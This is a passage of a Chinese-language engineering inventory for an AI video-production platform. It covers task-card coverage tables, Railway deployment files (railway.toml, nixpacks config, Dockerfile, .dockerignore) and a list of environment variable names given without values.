| AIDV-76  | P0：生產 migration 卡死——0067 之後全沒套用，影片專案    | 無碼錨 | 3 | #869,#870,#871 |
| AIDV-79  | I-1 導演台光球接既有 orb/spirit 編排系統 (最高 CP 值   | 有碼  | 0 | —              |
| AIDV-80  | I-2 世界觀自動風格注入生成管線                       | 有碼  | 0 | —              |
| AIDV-81  | I-3 劇本->分鏡自動骨架                          | 有碼  | 0 | —              |
| AIDV-82  | I-4 教材庫 RAG -> 劇本接地                     | 有碼  | 0 | —              |
| AIDV-83  | I-5 真實地球研究面板 (功能已建但完全沒有前端)              | 有碼  | 0 | —              |
| AIDV-84  | I-6 Creative Projects 成為影片工作流主入口        | 有碼  | 0 | —              |
| AIDV-86  | I-8 Prompt 庫 + 收藏跨庫，生成時建議               | 有碼  | 3 | —              |
| AIDV-87  | I-9 Sense 意圖引擎 -> 個人化 onboarding        | 有碼  | 0 | —              |
| AIDV-91  | U-1 設計系統落地：亮色暖光 tokens 全站套用 (登入除外)      | 無碼錨 | 0 | #883           |
| AIDV-93  | U-3 決議：登入畫面保留原 cosmic 場景，不套新設計系統        | 無碼錨 | 0 | #883           |
| AIDV-94  | U-4 殼層 chrome 視覺實裝 (脊椎：Rail/TopBar/CmdK | 有碼  | 0 | —              |
| AIDV-97  | U-7 /learn 學習中心視覺實裝 (模型瀏覽/研究代理/API 金鑰   | 有碼  | 0 | —              |
| AIDV-98  | U-8 /settings 設定視覺實裝 (一般/Provider/代理/   | 有碼  | 0 | —              |
| AIDV-100 | I-6 Phase 2b 世界自動連結 (嚮導世界步可選並連結世界)      | 有碼  | 0 | #882           |
| AIDV-101 | U-10 設計系統 51 元件庫補齊 (chrome/cockpit/sh   | 有碼  | 0 | —              |
| AIDV-105 | [重複作廢->見 AIDV-74 Wave U] 設計系統與四殼地基      | 無碼錨 | 0 | —              |
| AIDV-106 | [重複作廢->見 AIDV-30 Wave 0] Wave 0 純前端先    | 無碼錨 | 0 | —              |
| AIDV-107 | [重複作廢->見 AIDV-31 Wave 1] Wave 1 面板 + A  | 無碼錨 | 0 | —              |
| AIDV-108 | [重複作廢->見 AIDV-32 Wave 2] Wave 2 需後端表    | 無碼錨 | 0 | —              |
| AIDV-109 | [重複作廢->見 AIDV-33 Wave 3] Wave 3 重後端 +   | 無碼錨 | 0 | —              |
| AIDV-110 | [重複作廢->見 AIDV-91 U-1] Token/Theme dr    | 無碼錨 | 0 | —              |
| AIDV-111 | [重複作廢->見 AIDV-95 U-5] 三欄 cockpit 殼      | 無碼錨 | 0 | —              |
| AIDV-112 | [重複作廢->見 AIDV-95 U-5] 六個 DatabaseCol    | 無碼錨 | 0 | —              |
| AIDV-113 | [重複作廢->見 AIDV-94 U-4] 共用三態/四態元件         | 無碼錨 | 0 | —              |
| AIDV-115 | U-12 連接器／個人資料庫 5 類治理面板視覺實裝 (/settings   | 有碼  | 2 | —              |
| AIDV-121 | 團隊資料可見性／權限邊界 SSOT (資料層 RBAC，非僅 UI)      | 有碼  | 0 | —              |
| AIDV-123 | 全站操作稽核軌跡 (audit log：actor／動作／目標／時間)     | 有碼  | 0 | —              |
| AIDV-139 | U-4f 脊椎 chrome：StateInspector (四態演示切換   | 有碼  | 0 | —              |
| AIDV-142 | U-SOP-3 atom 元件庫 (綁變數)   btn/tag/pill/d | 有碼  | 0 | —              |
| AIDV-152 | Worldview->Director 自動載入 worldFramewo   | 有碼  | 0 | —              |
| AIDV-153 | 成本帳本升級為 append-only 雙分錄 (idempotency +  | 有碼  | 1 | —              |
| AIDV-156 | 本機開發環境一鍵 bootstrap 納入 repo (docker-co   | 無碼錨 | 0 | —              |

| 卡號       | 摘要                                      | 碼錨  | 表 | PR |
|----------|-----------------------------------------|-----|---|----|
| AIDV-157 | [QA探查] 導演對話送出訊息回 500 「Conversation no   | 有碼  | 0 | —  |
| AIDV-158 | [資安巡檢C1] FAL webhook 缺 per-job token    | 有碼  | 0 | —  |
| AIDV-159 | [資安巡檢C1] Stripe webhook 從未計算 HMAC + 先回  | 有碼  | 1 | —  |
| AIDV-161 | [opt] loadProject 跨專案資料混入：worldStory    | 有碼  | 0 | —  |
| AIDV-162 | [opt] spine projectGateway 以 as any     | 有碼  | 0 | —  |
| AIDV-163 | [opt] spine/前端健壯性：先報成功競態 + 空 catch 吞錯 + | 無碼錨 | 0 | —  |
| AIDV-165 | [QA探查] 整個 AI 文字生成層壞掉：LLM 模型設成失效的 Per    | 有碼  | 0 | —  |
| AIDV-181 | [QA探查R6] 全站文字 AI 仍給不出實質內容：AIDV-165 修    | 無碼錨 | 1 | —  |
| AIDV-184 | [opt] promptLibrary 可見性/IDOR 一致性：inc    | 有碼  | 1 | —  |

E.5 覆蓋率小結

資料表被文件/卡覆蓋：73/87（83%）；被程式碼覆蓋：83/87（95%）。  
任務卡（323 張）：有程式碼錨點 57（17%）、有資料表連結 67（20%）。其餘多為 Backlog／規劃／決策卡（尚未進入實作，故碼/庫無對應 = 預期）。

## Part F — Railway / 部署 / 環境變數 盤點

狀態說明：本 session 未連上 Railway live MCP（搜尋無 railway/gitnexus 工具；對應卡 AIDV-77 = 官方遠端 MCP 已寫入設定、待 Bruce OAuth 才生效）。故本章自 repo 部署產物盤點：railway.toml / .nixpacks.toml / Dockerfile / .dockerignore + .env.example 環境變數目錄。所有金鑰一律只列『名稱』，不含任何值（依鐵律 3）。

### F.1 部署設定檔（repo 原文）

#### railway.toml

```
[build]
# Use DOCKERFILE builder so Railway uses our Dockerfile instead of Nixpacks
# This prevents the auto-injected `npm ci` that causes build failures
builder = "DOCKERFILE"
dockerfilePath = "Dockerfile"

[deploy]
startCommand = "node dist/index.js"
# Use the plain HTTP /api/health endpoint (not tRPC — tRPC requires query params)
healthcheckPath = "/api/health"
healthcheckTimeout = 120
restartPolicyType = "ON_FAILURE"
restartPolicyMaxRetries = 3
```

#### .nixpacks.toml

```
# This file is kept as a fallback.
# Railway will prefer the Dockerfile in the root directory.
# If Nixpacks is used instead, these settings apply:
```

```
[phases.setup]
nixPkgs = ["nodejs_20", "nodePackages.npm"]
```

```
[phases.install]
cmds = [
  "npm install --legacy-peer-deps"
]
```

```
[phases.build]
cmds = ["npm run build"]
```

```
[start]
cmd = "node dist/index.js"
```

#### Dockerfile

```
# ——— Stage 1: Builder ———
FROM node:20-alpine AS builder

WORKDIR /app

# Alpine build tools needed for any native addons (mysql2, etc.)
RUN apk add --no-cache python3 make g++

# Copy package files first for better layer caching
COPY package.json package-lock.json ./

# Use deterministic dependency install in CI/Cloud Build.
# Increase Node heap for large Vite production builds to avoid OOM in small builders.
ENV NODE_OPTIONS=--max-old-space-size=4096
RUN npm ci --legacy-peer-deps

# Copy all source code
COPY . .

# Build frontend (Vite) + backend (esbuild/tsc)
RUN npm run build

# ——— Stage 2: Production Runner ———
FROM node:20-alpine AS runner

WORKDIR /app

# Set production mode so Express serves static files and skips Vite dev server
```

```
ENV NODE_ENV=production

# AIDV-57：每日 DB 備份 cron (server/jobs/dbSnapshotJob.ts) 在 runtime 透過
# spawn("mysqldump") 對正式庫做一致性快照 (--single-transaction，唯讀、不鎖表)。
# mariadb-client 提供 Alpine 上的 mysqldump binary，約 +3MB。
# [注意] mariadb-connector-c 一定要一起裝：MySQL 8 server 預設用 caching_sha2_password
# 認證，而 Alpine mariadb-client 自身不含該 auth plugin——少了 connector-c 會在
# 連線階段就以 error 1045 "Plugin caching_sha2_password could not be loaded"
# (載不到 /usr/lib/mariadb/plugin/caching_sha2_password.so) 而失敗，
# dump 直接 0-byte (備份等於壞掉)。connector-c 補上該 plugin，讓 MariaDB client
# 能正常認證到 MySQL 8。約再 +1MB。
# 注意：apk 套件不會從 builder 階段繼承到 runner，必須在「runner」階段安裝。
RUN apk add --no-cache mariadb-client mariadb-connector-c

# Copy node_modules from builder (already compiled, avoids re-compilation issues)
COPY --from=builder /app/node_modules ./node_modules

# Copy built artifacts
COPY --from=builder /app/dist ./dist

# Copy package.json for runtime metadata (optional but good practice)
COPY package.json ./
COPY --from=builder /app/drizzle ./drizzle
COPY --from=builder /app/drizzle.config.ts ./drizzle.config.ts

# AI 全站研究系統需要在 runtime 讀取 TypeScript 原始碼以執行靜態程式碼掃描。
# 體積成本約 +10MB，但啟用了 siteCodeScanner 真正掃描檔案的能力（否則
# 掃描器只能在 dist/ 上執行，回傳 0 findings）。
COPY --from=builder /app/server ./server
COPY --from=builder /app/client/src ./client/src
COPY --from=builder /app/shared ./shared

# Railway dynamically assigns $PORT — expose the default
EXPOSE 3000

# Start the server
CMD ["node", "dist/index.js"]
```

```
.dockerignore
node_modules
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
.git
.gitignore
dist
coverage
playwright-report
test-results
.vscode
.DS_Store
```

F.2 環境變數目錄 (.env.example，僅名稱·無值)

共 96 個環境變數 (其中 41 個屬金鑰類 KEY/SECRET/TOKEN/URL)。『金鑰類』欄=是；『範例值』欄僅表示 .env.example 是否附非敏感示範值，實際值一律貼 Railway 環境變數。

| 環境變數名稱                      | 金鑰類 | 分區/用途                               | 範例值 |
|-----------------------------|-----|-------------------------------------|-----|
| NODE_ENV                    |     | 核心平台                                | yes |
| PORT                        |     | 核心平台                                | yes |
| VITE_SITE_URL               | 是   | 網站公開 URL (用於 og:url、canonical 等 SEO | yes |
| JWT_SECRET                  | 是   | 缺失／太弱會在開機時 fail-fast (throw)，不會靜默使用 | yes |
| JWT_ACCESS_TOKEN_EXPIRES_IN | 是   | JWT Access Token 壽命 (秒，預設 2592000 = | yes |
| CREDENTIAL_ENCRYPTION_KEY   | 是   | 建議獨立設定並用 openssl rand -base64 32 生  | no  |
| PASSWORD_HASH_ALGORITHM     | 是   | 密碼雜湊演算法 (scrypt / bcrypt / argon2；預 | yes |
| CACHE_TTL_SECONDS           |     | MAX_CONCURRENT_LLM_CALLS：同時並行 invo  | yes |

| 環境變數名稱                              | 金鑰類 | 分區/用途                                                                            | 範例值 |
|-------------------------------------|-----|----------------------------------------------------------------------------------|-----|
| LLM_TIMEOUT_SECONDS                 |     | MAX_CONCURRENT_LLM_CALLS：同時並行 invo                                               | yes |
| MAX_CONCURRENT_LLM_CALLS            |     | MAX_CONCURRENT_LLM_CALLS：同時並行 invo                                               | yes |
| SENSE_INTENT_TIMEOUT_SECONDS        |     | MAX_CONCURRENT_LLM_CALLS：同時並行 invo                                               | yes |
| REDIS_URL                           | 是   | aidv-redis （redis://127.0.0.1:6379）                                              | no  |
| REDIS_KEY_PREFIX                    | 是   | aidv-redis （redis://127.0.0.1:6379）                                              | yes |
| GOOGLE_CLIENT_ID                    |     | 前往 <a href="https://console.cloud.google.co">https://console.cloud.google.co</a> | yes |
| GOOGLE_CLIENT_SECRET                | 是   | 前往 <a href="https://console.cloud.google.co">https://console.cloud.google.co</a> | yes |
| GOOGLE_REDIRECT_URI                 |     | 前往 <a href="https://console.cloud.google.co">https://console.cloud.google.co</a> | yes |
| DATABASE_URL                        | 是   | 格式：mysql://user:password@host:3306                                               | yes |
| ENABLE_DB_BACKUP                    |     | 失敗只記 log + Sentry（若啟用），絕不 crash ap                                               | yes |
| ADMIN_EMAILS                        |     | —— 管理員信箱（逗號分隔，登入時自動設為 admin） ——                                                  | yes |
| OPENROUTER_API_KEY                  | 是   | 設定後仍可用 LLM_ENGINE=anthropic / gemi                                               | yes |
| ANTHROPIC_API_KEY                   | 是   | auto 路由優先序：openrouter > anthropic                                                | yes |
| GEMINI_API_KEY                      | 是   | 支援模型：Gemini 2.5 Pro/Flash、Imagen 3                                               | yes |
| GOOGLE_APPLICATION_CREDENTIALS_JSON | 是   | 將 JSON 內容壓縮成單行字串貼入                                                               | yes |
| GOOGLE_CLOUD_PROJECT_ID             |     | Google Cloud 專案 ID                                                               | yes |
| GOOGLE_CLOUD_LOCATION               |     | 可選值：us-central1, us-east4, europe-                                               | yes |
| GCS_BUCKET_NAME                     |     | Google Cloud Storage Bucket 名稱（替換                                                | yes |
| BUILT_IN_FORGE_API_URL              | 是   | Manus 內建 API（遷移到 Vertex AI 後不再需要）                                                | no  |
| BUILT_IN_FORGE_API_KEY              | 是   | Manus 內建 API（遷移到 Vertex AI 後不再需要）                                                | no  |
| OAUTH_SERVER_URL                    | 是   | Manus 內建 API（遷移到 Vertex AI 後不再需要）                                                | no  |
| OWNER_OPEN_ID                       |     | Manus 內建 API（遷移到 Vertex AI 後不再需要）                                                | no  |
| VITE_APP_ID                         |     | Manus 內建 API（遷移到 Vertex AI 後不再需要）                                                | no  |
| FRONTEND_FORGE_API_URL              | 是   | —— 地圖代理（由後端注入 Key，避免前端暴露） ——                                                     | yes |
| FRONTEND_FORGE_API_KEY              | 是   | —— 地圖代理（由後端注入 Key，避免前端暴露） ——                                                     | yes |
| FAL_API_KEY                         | 是   | Fal.ai — <a href="https://fal.ai/dashboard/">https://fal.ai/dashboard/</a>       | yes |
| FAL_WEBHOOK_SECRET                  | 是   | [注意] 必須與 FAL_API_KEY 不同；建議用 `openssl                                             | no  |
| REPLICATE_API_TOKEN                 | 是   | Replicate — <a href="https://replicate.com/">https://replicate.com/</a>          | yes |
| ELEVENLABS_API_KEY                  | 是   | ElevenLabs — <a href="https://elevenlabs.io">https://elevenlabs.io</a>           | yes |
| SUNO_API_KEY                        | 是   | Suno — AI 音樂生成                                                                   | yes |
| PINECONE_API_KEY                    | 是   | Pinecone — <a href="https://app.pinecone.io">https://app.pinecone.io</a>         | yes |
| PINECONE_ENVIRONMENT                |     | Pinecone — <a href="https://app.pinecone.io">https://app.pinecone.io</a>         | yes |
| PINECONE_INDEX_NAME                 |     | Pinecone — <a href="https://app.pinecone.io">https://app.pinecone.io</a>         | yes |
| NEWS_API_KEY                        | 是   | NewsAPI.org — <a href="https://newsapi.org/">https://newsapi.org/</a>            | yes |
| NEWSDATA_API_KEY                    | 是   | NewsData.io — <a href="https://newsdata.io/">https://newsdata.io/</a>            | yes |
| LANGSMITH_API_KEY                   | 是   | LangSmith — <a href="https://smith.langchai">https://smith.langchai</a>          | yes |
| LANGSMITH_PROJECT                   |     | LangSmith — <a href="https://smith.langchai">https://smith.langchai</a>          | yes |
| LANGCHAIN_TRACING_V2                |     | LangSmith — <a href="https://smith.langchai">https://smith.langchai</a>          | yes |
| LANGCHAIN_ENDPOINT                  |     | LangSmith — <a href="https://smith.langchai">https://smith.langchai</a>          | yes |
| BRAVE_SEARCH_API_KEY                | 是   | 會自動爬網並把結果引用到回覆中。                                                                 | yes |
| ENABLE_ORB_WEB_RESEARCH             |     | 將此關掉可在不移除程式碼的情況下停用光球的爬網研究階段                                                      | yes |
| FEATURE_ADVANCED_SEARCH             |     | 設成 false / 0 即關閉；其他值（包含空值）視為 enabl                                               | yes |
| FEATURE_RAG_MEMORY                  |     | 設成 false / 0 即關閉；其他值（包含空值）視為 enabl                                               | yes |
| FEATURE_RESEARCH_MODE               |     | 設成 false / 0 即關閉；其他值（包含空值）視為 enabl                                               | yes |
| ENABLE_DIRECTOR_WORLD_CONTEXT       |     | 1 / true / on / yes 視為開啟；空值或未設 = OFF                                             | yes |
| PERPLEXITY_API_KEY                  | 是   | 時自動走 OpenRouter perplexity/sonar 模                                               | no  |
| GITHUB_TOKEN                        | 是   | Repo：格式 owner/repo，例如 your-org/hea                                               | no  |
| GITHUB_REPO                         |     | Repo：格式 owner/repo，例如 your-org/hea                                               | no  |
| VITE_POSTHOG_KEY                    | 是   | —— PostHog 前端分析 ——                                                               | yes |

| 環境變數名稱                     | 金鑰類 | 分區/用途                                  | 範例值 |
|----------------------------|-----|----------------------------------------|-----|
| VITE_POSTHOG_HOST          |     | PostHog 前端分析                           | yes |
| OPENPOSE_API_KEY           | 是   | 此變數保留為佔位（向後相容），不會被任何服務讀取，可留空。          | no  |
| ORB_TOOL_ALLOWED_ORIGINS   |     | 必填：正式環境請務必設定，否則所有工具呼叫都會被阻擋（PRECOND     | yes |
| ORB_TOOL_REGISTRY_JSON     |     | 範例（複製到 .env 後請替換為自己的網域）：               | no  |
| ORB_SCHEDULER_SEED_JSON    |     | 預設為空陣列（不啟用任何排程）。                       | yes |
| ORB_WEBHOOK_SECRET         | 是   | 外部系統呼叫 POST /api/webhooks/orb 時要帶的     | yes |
| GEMINI_LIVE_API_KEY        | 是   | Gemini Live Voice                      | no  |
| ORB_VOICE_MAX_SESSION_MS   |     | Gemini Live Voice                      | yes |
| ORB_VOICE_MAX_CONCURRENT   |     | Gemini Live Voice                      | yes |
| ALERT_SLACK_WEBHOOK        | 是   | Slack Incoming Webhook URL — 每 15      | no  |
| ALERT_EMAIL_RECIPIENTS     |     | Email recipients for alerts (comma     | no  |
| AI_MONTHLY_BUDGET_USD      |     | Monthly AI budget cap in USD (defa     | yes |
| USD_TO_TWD_RATE            |     | 合法範圍 1–1000，超出 / 非數字會自動退回 default。     | yes |
| TWD_PER_USD                |     | default 31.5。成本歸屬落帳/彙總/查詢以 TWD 呈現，     | yes |
| ENABLE_COST_ATTRIBUTION    |     | demo/無 DB 自動跳過）。                       | yes |
| ENABLE_COST_LEDGER         |     | AIDV-153：成本帳本旗標（預設 OFF）。先跑 migrati     | yes |
| POSTHOG_API_KEY            | 是   | PostHog server-side API key (for A     | no  |
| POSTHOG_HOST               |     | PostHog server-side API key (for A     | yes |
| STRIPE_SECRET_KEY          | 是   | dev/test 放行骨架。可用 STRIPE_WEBHOOK_FA     | no  |
| STRIPE_WEBHOOK_SECRET      | 是   | dev/test 放行骨架。可用 STRIPE_WEBHOOK_FA     | no  |
| STRIPE_WEBHOOK_FAIL_CLOSED | 是   | dev/test 放行骨架。可用 STRIPE_WEBHOOK_FA     | no  |
| VITE_POSTHOG_KEY           | 是   | 若不設定，前端 PostHog SDK 會 no-op（不發送 ca     | no  |
| VITE_POSTHOG_HOST          |     | 若不設定，前端 PostHog SDK 會 no-op（不發送 ca     | yes |
| VITE_ENABLE_4SHELL         |     | 4-shell 路由總開關：ON 才注入 /video /socia     | yes |
| VITE_SHELL_SOCIAL          |     | /social shell（社群系統②）；P5 前維持 OFF -> 顯   | yes |
| VITE_SHELL_LEARN           |     | /learn shell 顯示（既有 /learn 已上線；預設 0     | yes |
| VITE_DATA_STORE            |     | 五接縫資料來源（預設 trpc = 打既有後端 = 零行為改變；改 mock | yes |
| VITE_GENERATION_PROVIDER   |     | 五接縫資料來源（預設 trpc = 打既有後端 = 零行為改變；改 mock | yes |
| VITE_COMMANDER_ADAPTER     |     | 五接縫資料來源（預設 trpc = 打既有後端 = 零行為改變；改 mock | yes |
| VITE_CONTEXT_PACKET_MODE   |     | 五接縫資料來源（預設 trpc = 打既有後端 = 零行為改變；改 mock | yes |
| VITE_STORAGE_PROVIDER      |     | 五接縫資料來源（預設 trpc = 打既有後端 = 零行為改變；改 mock | yes |
| VITE_POSTING_PROVIDER      |     | 接真實時翻 postiz（需 Postiz token 與 Post     | yes |
| VITE_SHELL_LEARN_RICH      |     | /learn 富 UI 開關：1（預設）用 P6 富 shell；0     | yes |
| VITE_RESEARCH_PROVIDER     |     | 研究接縫 provider：mock（預設，零金鑰罐頭引用）  trp    | yes |
| VITE_SHELL_SETTINGS_RICH   |     | /settings 富 UI 開關：1（預設）用 P6 富 shel     | yes |
| SENTRY_DSN                 | 是   | 注意：@sentry/node 為選用相依，未安裝時自動 no-op     | no  |
| SENTRY_ENVIRONMENT         |     | 注意：@sentry/node 為選用相依，未安裝時自動 no-op     | no  |
| SENTRY_TRACES_SAMPLE_RATE  |     | 注意：@sentry/node 為選用相依，未安裝時自動 no-op     | yes |
| SSE_OWNERSHIP_LOCKDOWN     |     | 僅在鎖門意外擋到合法擁有者、需緊急回退時設為 false（仍要求登入     | yes |